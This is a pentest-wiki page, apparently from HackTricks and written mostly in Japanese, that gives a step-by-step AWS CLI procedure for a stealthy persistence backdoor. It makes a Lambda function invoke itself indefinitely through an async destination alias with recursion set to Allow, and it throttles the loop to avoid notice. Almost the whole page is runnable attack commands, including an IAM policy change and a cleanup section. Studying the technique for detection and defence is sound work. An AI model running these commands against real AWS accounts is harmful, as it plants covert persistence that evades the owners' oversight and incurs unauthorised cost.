# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow

{{#include ../../../../banners/hacktricks-training.md}}

Lambda の asynchronous destinations と Recursion 設定を悪用して、外部のスケジューラ（EventBridge、cron など）なしで関数を継続的に自己再呼び出しさせる。デフォルトでは Lambda は再帰ループを終了させるが、recursion 設定を Allow にすると再び有効になる。Destinations は async invokes に対してサービス側で配信されるため、単一のシード呼び出しでコード不要のステルスなハートビート／バックドアチャネルを作れる。雑音を抑えるために reserved concurrency でスロットルするのも有効。

Notes
- Lambda は関数を直接そのものの destination に設定することを許可していない。destination として関数の alias を使用し、execution role にその alias を invoke する権限を与える。
- 最低限の権限: ターゲット関数の event invoke config と recursion config を読み／更新する権限、バージョンを publish して alias を管理する権限、そして関数の execution role ポリシーを更新して alias に対する lambda:InvokeFunction を許可する権限。

## Requirements
- Region: us-east-1
- Vars:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>

## Steps

1) 関数の ARN と現在の recursion 設定を取得する
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) バージョンを公開し、エイリアスを作成/更新する（自己宛先として使用）
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) 関数の実行ロールがエイリアスを呼び出せるように許可する（Lambda Destinations→Lambda が必要）
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) async destination を alias（self via alias）に設定し、retries を無効化する
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION

# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
```
5) 再帰ループを許可する
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) 単一の非同期 invoke をシードする
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) 継続的な呼び出しを観察する（例）
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) 任意のステルス・スロットリング
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## クリーンアップ
ループを停止して永続化を削除する。
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## 影響
- 単一の async invoke により、外部のスケジューラなしで Lambda が継続的に自分自身を再呼び出しし、ステルスな persistence/heartbeat を可能にします。Reserved concurrency はノイズを単一のウォーム実行に制限できます。
{{#include ../../../../banners/hacktricks-training.md}}
